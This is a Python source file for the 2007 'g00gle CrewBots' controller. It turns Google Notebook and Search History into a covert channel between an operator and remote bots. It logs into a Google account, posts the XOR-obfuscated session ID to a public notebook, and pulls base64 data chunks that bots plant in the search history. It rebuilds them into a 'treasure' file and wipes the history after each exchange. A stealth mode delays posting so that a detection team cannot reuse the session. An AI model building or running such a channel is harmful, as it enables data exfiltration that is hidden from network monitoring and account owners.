#!/usr/bin/python
#
# g00gle CrewBots - v1.0 - http://gray-world.net
# Copyright (c) 2007, Matteo Memelli < matteo [gw] gray-world.net > and Gray World Team <team [at] gray-world.net>
#
# captainbdrige.py - v1.0
#

import sys, urllib, urllib2, time, httplib, base64
import xml.dom.minidom, os, operator, pickle
from optparse import OptionParser
from types import ListType

# Urls and global variables
URL_NBOOK             = 'http://www.google.com/notebook'
URL_LOGIN             = 'https://www.google.com/accounts/ServiceLoginBoxAuth'
URL_HISTORY           = 'http://www.google.com/searchhistory/?%s'
URL_HISTORY_EDIT      = 'http://www.google.com/history/edit'
URL_HISTORY_DEL       = 'http://www.google.com/history/delete?ceh=1'
URL_G00GLE            = '/search?q=%s&num=20'
URL_NBOOK_READ        = '/notebook/read?' + \
                        'pv=2.3&ident=fp&hl=en&tok=%s&cmd=u&start=0&num=50&zx=%d'
URL_NBOOK_TRSH        = '/notebook/write?' + \
                        'pv=2.3&ident=fp&hl=en&tok=%s&cmd=trsh&nid=%s&nbid=%s' 
URL_NBOOK_WRITE_NID   = '/notebook/write?' + \
                        'pv=2.3&ident=fp&hl=en&tok=%s&cmd=n&nid=%s&nbid=%s&contents=%s'
URL_NBOOK_WRITE       = '/notebook/write?' + \
                        'pv=2.3&ident=fp&hl=en&tok=%s&cmd=n&nbid=%s&contents=%s' 
TOKEN_PAGE            = 'http://www.google.com/notebook/token'
HOST                  = 'www.google.com'
USER_AGENT            = 'Mozilla/5.0 (compatible;)'
SECONDS_TO_EXPIRATION = 900 #15 Minutes to expire the SID
END                   = False
LEN                   = 186
HEADERS               = {
                          'Host':       HOST            ,
                          'User-Agent': USER_AGENT      ,
                        }
DB                    = {}

# Compulsory variables
variables = [
             'nbid'          ,
             'username'      ,
             'passwd'        ,
             'resume'        ,
             'db'            ,
             'binoutput'     ,
             'stealth_mode'  ,
             'checkinterval' ,
             'seed'          ,
            ]

# Config stuff: default values
CONFIG = {'resume':             0,
          'checkinterval':     10,
          'db':       'captaindb',
          'binoutput': 'treasure',
          'stealth_mode':       0,
          'seed':    'BATTLESHIP',
         }

def gethistorySig():
   """Downloads Signature needed to delete History Searches"""
   headers = HEADERS
   headers['Cookie'] = CONFIG['Cookie']
   data = getPage2(URL_HISTORY_EDIT, headers, '')
   if data:
      for line in data:
         if line.find('name=sig') != -1:
            sig = line.split('name=sig')[1].split(' value="')[1].split('">')[0]
      CONFIG['sig'] = sig
   else:
      return 0
   return 1

def clearHistory():
   """Clears the history after treasure unloading"""
   headers = HEADERS
   headers['Cookie'] = CONFIG['Cookie']
   if gethistorySig():
      params = urllib.urlencode({'q'   : ''                , 
                                 'cst' : 'web'             , 
                                 'btnD': 'Clear History'   ,
                                 'sig' : CONFIG['sig']     , 
                                 'prev': '/lookup'         ,
                               })
      if getPage2(url=URL_HISTORY_DEL, headers=headers, data=params):
         return 1    
      else:
         return 0
   else:
      return 0

def decodeTreasure():
   """Decode our treasure"""
   b64data = ''
   seqs = DB.keys()
   seqs.sort()
   for seq in seqs:
      try:
         b64data += DB[seq].split(':')[1]
      except IndexError:
         print 'Error unpacking data'
         print b64data
         return 0
   if b64data:
      try:
         bindata = base64.b64decode(b64data)
      except TypeError:
         print 'Error in decoding base64 file!'
         sys.exit()
   else:
      print 'No data to decode!'
      sys.exit()
   try:
      f = open(CONFIG['binoutput'], 'wb')
   except IOError:
      print 'Cannot write to binary output file!'
      sys.exit()
   f.write(bindata)
   f.close()
   print 'Treasure completely unloaded from the battleship: find it in `%s` file' % CONFIG['binoutput']
   return

def storeTreasure(b64data, seq):
   """Store Treasures in our output file"""
   try:
      DB[int(seq)] = b64data
   except TypeError:
      print 'Error in sequence number decoding!'
      print 'Seq: %s' % seq
      return 0
   return 1

def historyUnload():
   """Unload the Battleship"""
   headers = HEADERS
   headers['Cookie'] = CONFIG['Cookie'] 
   params = urllib.urlencode({'output':'rss'})
   req=urllib2.Request(url=URL_HISTORY % params, headers=headers)
   try:
      response = urllib2.urlopen(req)
   except:
      return ('ERR', 0)
   try:
      domtree = xml.dom.minidom.parse(response)
      items = domtree.getElementsByTagName("item")
   except:
      return ('ERR', 0)
   #print response.read()
   link = 0 
   if items:
      item = items[0]
      link = item.getElementsByTagName("link")[0]
      #print link.toxml()
   for item in items:
      link = item.getElementsByTagName("link")[0]
      try:
         lr = (link.toxml()).find('lr=')
      except:
         lr = 0
      if link and lr != -1:
         b64data = getText(link.childNodes)
         if b64data:
            try:
               if b64data.split(':')[1] == 'FIN':
                  print 'gBot has requested to haul down the Pirate Flag...' 
                  return ('FIN', urllib.unquote(b64data)) 
               elif b64data.split(':')[1] == 'SYN' and b64data.split(':')[0] == '0':
                  print 'gBot has requested to hastily hoist up the Pirate Flag...'
                  return ('SYN', 0)
               else:
                  return ('ACK', urllib.unquote(b64data))
            except IndexError:
               print 'Error splitting the string: %s' % b64data 
   return (0, 0)

def getText(nodelist):
   """Get data from an xml node"""
   for node in nodelist:
      if node.nodeType == node.TEXT_NODE:
         try:
            data = (node.data).split("lr=")[1]
         except IndexError:
            print 'Could not unload data from the following link:'
            print node.data
            return 0
   return data 

def notebookAuth():
   """Implement Notebook Service Authentication"""
   data = urllib.urlencode({'continue': URL_NBOOK, 
                            'Email'   : CONFIG['username'],
                            'Passwd'  : CONFIG['passwd'],
                            'service' : 'notebook'        
                           })
   headers = HEADERS
   # Retrieving SID and LSID cookies
   req  = urllib2.Request(URL_LOGIN, data=data, headers=HEADERS)
   try:
      response = urllib2.urlopen(req)
   except:
      return 0
   pageData = response.read()
   sc = response.headers
   Cookie = ''
   SID    = ''
   LSID   = '' 
   for line in str(sc).split("\n"):
      if line.find(" SID=") != -1:
         SID = line.split("Set-Cookie:")[1].strip().split(';')[0].strip() 
      elif line.find(" LSID") != -1:
         LSID = line.split("Set-Cookie:")[1].strip() + ";"
   Cookie = SID
   headers['Cookie'] = Cookie

   # Retrieving notebook token 
   req = urllib2.Request(TOKEN_PAGE, headers=headers)
   try:
      response = urllib2.urlopen(req)
   except:
      return 0
   pageData = response.read()
   token = pageData.rstrip("*/").lstrip("/*")

   # Adding magic stuff to config dictionary :)
   CONFIG['Cookie'] = Cookie
   CONFIG['token']  = token
   CONFIG['SID']    = SID
   return 1

def clearNotebook():
   """Clears Notebook before inserting new AC"""
   headers = HEADERS
   headers['Cookie'] = CONFIG['Cookie'] 
   url = URL_NBOOK_READ % (CONFIG['token'], time.time())
   data = getPage1(url, headers)
   if not data:
      print 'WARNING: Could not read from Notebook!'
      return 0
   try:
      data = data.split('\n')[1]
   except IndexError:
      print 'ERROR: Could not read from Notebook! BigG Changed something?!?'
      return 0
   data=data.replace('U(','(')
   data=data.replace('B(','(')
   data=data.replace('S(','(')
   data=data.replace('N(','(')
   data=data.replace('null','\'null\'')
   data = data[0:-1]
   notebooks = eval(data)
   notes = []
   for nb in notebooks[0]:
      if nb:
         if nb[0] == CONFIG['nbid']:
            notebook = nb
            for obj in notebook:
               if type(obj) is ListType:
                  notes = obj[0][1] 
   if notes:
     for note in notes:
        nid = note[0]
        print 'Trashing nid: %s ...' % nid 
        url = URL_NBOOK_TRSH % (CONFIG['token'], nid, CONFIG['nbid'])
        data = getPage1(url, headers)
        if not data:
           print 'WARNING: Could not trash Notes!'
           return 0
   return 1

def feedtheCrew(payload):
   """Feeding the hungry Crew! Uploading AC to a Notebook"""
   headers = HEADERS
   headers['Cookie'] = CONFIG['Cookie'] 

   # We always serve the Breakfast in the same "room" :)
   if CONFIG.has_key('nid'):
      url = URL_NBOOK_WRITE_NID % \
            (CONFIG['token'], CONFIG['nid'], CONFIG['nbid'], payload)
   else:
      print 'Mmhh...Looks like somebody did not wash dishes last night! :)'
      if not clearNotebook():
         return 0
      url = URL_NBOOK_WRITE % (CONFIG['token'], CONFIG['nbid'], payload)
   data = getPage1(url, headers)
   if data:
      data = data.split('\n')
   else:
      print 'WARNING: Could not write to the Notebook!'
      return 0
   # Gains note `nid` just inserted so that we will be able to trash/modify its
   # data in the following uploads.
   if not CONFIG.has_key('nid'):
      for line in data:
         if line.find('N(') != -1:
            N = line.lstrip('N')
            N = (N[1:-1].split(','))[0][1:-1]
            CONFIG['nid'] = N
   return 1

def parseConfig(file):
   """Parses user's configuration file"""
   global parser
   if file:
      lines = file.readlines()
      for line in lines:
         key   = line.split("=")[0].strip().lower() 
         value = line.split("=")[1].strip() 
         CONFIG[key] = value
   for key in variables:
      if key not in CONFIG.keys():
         parser.print_help()
         sys.exit()  
   return

def parseOptions():
   """Parses user's command options"""
   global parser
   usage = "%prog -f interval -u username -p passwd -n notebookid [options]"
   parser = OptionParser(usage=usage)
   parser.add_option("-c"                                       , 
                     "--config"                                 , 
                     type = "string"                            , 
                     dest = "configfile"                        ,
                     help = "Path to config file"               ,
                     metavar="FILE"
                    )
   parser.add_option("-f"                                       , 
                     "--check-interval"                         , 
                     type = "int"                               , 
                     dest = "checkinterval"                     ,
                     help = "Battleship Unload Interval in Seconds"
                    )
   parser.add_option("-n"                                       , 
                     "--notebook-id"                            , 
                     type = "string"                            , 
                     dest = "nbid"                              ,
                     help = "Battleship Hold"
                    )
   parser.add_option("-u"                                       , 
                     "--username"                               , 
                     type = "string"                            , 
                     dest = "username"                          ,
                     help = "Pirate Name"
                    )
   parser.add_option("-p"                                       , 
                     "--passwd"                                 , 
                     type = "string"                            , 
                     dest = "passwd"                            ,
                     help = "Pirate Password"
                    )
   parser.add_option("-o"                                       , 
                     "--db-outputfile"                          , 
                     type = "string"                            , 
                     dest = "db"                                ,
                     help = "Base64 Serialized Output File " +\
                     "(default: `captaindb`)"
                    )
   parser.add_option("-b"                                       , 
                     "--bin-outputfile"                         , 
                     type = "string"                            , 
                     dest = "binoutput"                         ,
                     help = "Binary Output File Binary Output " +\
                     "File (default: `treasure`)"
                    )
   parser.add_option("-s"                                       , 
                     "--stealth-mode"                           , 
                     type = "int"                               , 
                     dest = "stealth_mode"                      ,
                     help = "Stelath Mode against SID sniffing; values: 1 / 0" +\
                     " (default: 0)"
                    )
   parser.add_option("-r"                                       , 
                     "--resume"                                 , 
                     type = "int"                               , 
                     dest = "resume"                            ,
                     help = "Resume from a previous session values: 1 / 0" +\
                     " (default: 0)"
                    )
   parser.add_option("-q"                                       , 
                     "--seed-search"                            , 
                     type = "string"                            , 
                     dest = "seed"                              ,
                     help = "g00gle query string to gain cache seeds used to" +\
                     " xor the SID (default: `BATTLESHIP`)"
                    )

   (options, args) = parser.parse_args()

   # Print help if parameters are incorrect
   # If we don't have a config file we try to read parameters from
   # user options.
   configfile = options.configfile

   if not configfile: 
      # Parses user's input options 
      for var in variables:
         try:
            if eval('options.' + var) is not None:
               exec(var + ' = "' + str(eval('options.' + var)) + '"') 
               if not eval('var'):
                  parser.print_help()
               CONFIG[var] = eval(var)
         except AttributeError:
            pass
      parseConfig(False)
   else:
      try:
         file = open(configfile, 'r')
      except IOError,e:
         print "%s: %s (Errno:%d)" % (e.filename, e.strerror, e.errno)
         sys.exit() 
      parseConfig(file)
      file.close()
   return

def sidXor(toxor, passwd):
   if len(toxor) < len(passwd):
      print 'String and Passwd have different lengths\npadding string...'
      toxor = toxor + ' '*(len(passwd)-len(toxor))
   elif len(toxor) > len(passwd):
      print 'Not enough random chars to xor the string!'
      print toxor
      print
      print passwd
      return 0
   xored = ''
   for i in range(0, len(toxor)):
      xored += chr(operator.xor(ord(toxor[i]), ord(passwd[i])))
   return base64.b64encode(xored)

def getPage1(url, headers, data=None):
   """Retrieve data from URL using httplib"""
   try:
      conn = httplib.HTTPConnection("www.google.com:80")
      conn.request("GET", url, '', HEADERS)
      response = conn.getresponse()
      data = response.read()
      conn.close()
   except:
      return 0
   else:
      return data

def getPage2(url, headers, data=None):
   """Retrieve data from URL using urllib2"""
   try:
      req = urllib2.Request(url, data=data, headers=headers)
      response = urllib2.urlopen(req)
   except:
      return 0
   else:
      return response.readlines()

def seedFinder(q):
   """Downloads seeds from the g00gle. This funcrion perform a simple search
      and finds some `cache seeds` from the `Cached` g00gle links.
      It then builds a password joining the seeds to xor AC.
   """ 
   HEADERS['Cookie'] = ''
   data = getPage1(URL_G00GLE % q, HEADERS)
   if data:
      seed = ''
      for line in data.split('a href'):
         if len(seed) < LEN:
            if line.find('cache:') != -1:
               seed += line.split('cache:')[1].split(':')[0].strip() 
         else:
            break
      seed = seed[0:LEN]
      return seed
   else:
      return 0

def clearOutput():
   """Clears output files"""
   if not CONFIG['resume']:
      try:
         os.remove(CONFIG['db'])
      except IOError:
         print 'Can\'t remove %s file' % CONFIG['db']
         print 'Exiting...'
         sys.exit() 
      except OSError:
         pass
   try:
      os.remove(CONFIG['binoutput'])
   except IOError:
      print 'Can\'t remove %s file' % CONFIG['binoutput']
      print 'Exiting...'
      sys.exit() 
   except OSError:
      pass
   return

def startConnection():
   """Starting Up Connection."""
   global start
   # Gets data from the History Search Interface
   res = historyUnload()
   if res[0] == 'SYN':
      payload = '0:ACK'
      # We send an aknowledge packet to syncronize the connection
      if not feedtheCrew(payload):
         print 'WARNING: there was a problem while feeding the crew!'
      # Every time we get data from the gBot we delete data from
      # history search.
      if not clearHistory():
         print 'WARNING: there was a problem while clearing ' +\
               'the history'
      start = 0
   # gBot requests to close the channel...
   elif res[0] == 'FIN':
      if not clearHistory():
         print 'WARNING: there was a problem while clearing ' +\
               'the history'
   elif res[0] == 'ERR':
      print 'WARNING: could not connect to the ' +\
            'History Search interface'
      return 0 
   else:
      # No data uploaded by the gBot
      if res == (0, 0):
         pass
      # Data from a previous session...this means we've already
      # syncronized a connection but we're resuming from a previous
      # session.
      else:
         if CONFIG['resume']:
            print 'Trying to resume from previous session...'
            try:
               global DB
               file = open(CONFIG['db'], 'r')
               DB = pickle.load(file)
               file.close()
            except:
               'Resume FAILED!'
               sys.exit()
            manageConnection()
            start = 0
            if not clearHistory():
               print 'WARNING: there was a problem while clearing ' +\
                     'the history'
         else:
            if not clearHistory():
               print 'WARNING: there was a problem while clearing ' +\
                     'the history'
   return 1

def manageConnection():
   """Managing an estabilished connection."""
   global timer, now
   print 'Hunting for treasures...'
   # Gets data from the History Search Interface
   res = historyUnload()
   # We're in the middle of a connection
   if res[0] == 'ACK':
      print """Fifteen men of the whole ship's list
               Yo ho ho and a bottle of rum!"""
      seq = res[1].split(':')[0]
      print 'Received Map part Number %s' % seq 
      # Let's store b64data into b64output file so that we'll be able
      # to decode all the data at the end of the connection.
      if not storeTreasure(res[1], seq):
         print 'WARNING: Could not write to b64output file!'
         sys.exit()
      # We send an ACK packet with the sequence number used by the 
      # gBot so that it will know we received its data.
      payload = '%s:ACK' % seq
      print 'Ok Crew, this map part is good: %s' % payload
      if not feedtheCrew(payload):
         print 'WARNING: there was a problem while feeding the crew!'
      # And we delete data from the History Search as usual.
      if not clearHistory():
         print 'WARNING: there was a problem while clearing ' +\
               'the history'
   # gBot has requested to end a connection; this means we've received
   # all its data and we can close the comunication channel.
   elif res[0] == 'FIN':
      seq = res[1].split(':')[0]
      # We send a FIN packet with the sequence number used by the 
      # gBot so that it will know we received its data and we are ready
      # to close the comunication channel.
      payload = '%s:FIN' % seq
      if not feedtheCrew(payload):
         print 'WARNING: there was a problem while feeding the crew!'
         # And we delete data from the History Search as usual.
      if not clearHistory():
         print 'WARNING: there was a problem while clearing ' +\
               'the history'
      # We are now ready to convert our base64 file in 
      # our real treasure :)
      print 'Decoding treasure\'s map...'
      decodeTreasure()
      # Let's exit from the loop
      return 0 
   elif res[0] == 'ERR':
      print 'WARNING: could not connect to the ' +\
            'History Search interface'
      return 0
   timer = now
   dbfile = open(CONFIG['db'],'w')
   pickle.dump(DB, dbfile)
   dbfile.close()
   return 1
 
def theLoop(TimeStart):
   """Main Loop"""
   global timer, start, now
   start = 1
   timer = time.time()
   while True:
      now = time.time()
      # We check the History Search interface at regular intervals
      if now - timer >= int(CONFIG['checkinterval']) or start:
         # First loop: we check for gBot syncronization request
         # e.g. 0:SYN
         if not notebookAuth():
            sys.exit()
         if start:
            if not startConnection():
               sys.exit() 
         # The connection was syncronized and we're searching for real data
         # to be uploaded by the gBot.
         else:
            if not manageConnection():
               clearHistory()
               break
      else:
         # Sleeping for the preset interval
         #print """Sleeping for %d seconds""" % (int(CONFIG['checkinterval']) - (now - timer))
         time.sleep(int(CONFIG['checkinterval']))

if __name__ == '__main__':
   """MAIN FUNCTION"""
   os.system('clear')
   # Parsing User's options
   parseOptions()
   # Authenticating and gaining AC
   TimeStart = time.time()
   if not notebookAuth():
      print 'WARNING: Could not authenticate against Notebook service.'
      print 'WARNING: Make sure user/passwd are correct!'
      sys.exit() 
   # Finding a g00gle's random password to xor AC. We'll search for a
   # word and get "g00gle's seed cache links" to build our passowrd.
   # gBot will do the same to decrypt AC.
   PASSWD = seedFinder(CONFIG['seed'])
   if PASSWD:
      CONFIG['XORSID'] = sidXor(CONFIG['SID'], PASSWD)
   else:
      print 'WARNING: There was a problem building the password to xor the SID'
      print 'WARNING: SID will be posted in clear text!' 
   # Clear output files from previous sessions
   clearOutput()
   # If we're not in stealth mode we feed the crew
   if not int(CONFIG['stealth_mode']):
      payload = urllib.quote(CONFIG['XORSID'])
      print 'Feeding the hungry cReW...'
      if not feedtheCrew(payload):
         print 'WARNING: there was a problem while feeding the crew!'
      else:
         print 'Come on cReW, Breakfast is ready!'
   else:
      # Going in stealth mode: detection team won't be able to use a SID
      # to access History Search if WWS waits for 15 minutes before uploading
      # AC to the Notebook public page
      print 'Stealth mode activated: Let\'s sail in the fOg...'
      print 'waiting 15 minutes before serving breakfast to the cReW!'
      count = 0
      while True:
         if count > SECONDS_TO_EXPIRATION:
            payload = urllib.quote(CONFIG['XORSID'])
            print 'Feeding the hungry cEeW!'
            if not feedtheCrew(payload):
               print 'WARNING: there was a problem while feeding the crew!'
            else:
               print 'Come on cReW, Breakfast is ready!'
               break
         else:
            count += 1
            time.sleep(1)
   # Starting the Main Loop in which we will get data from the gBot
   theLoop(TimeStart)
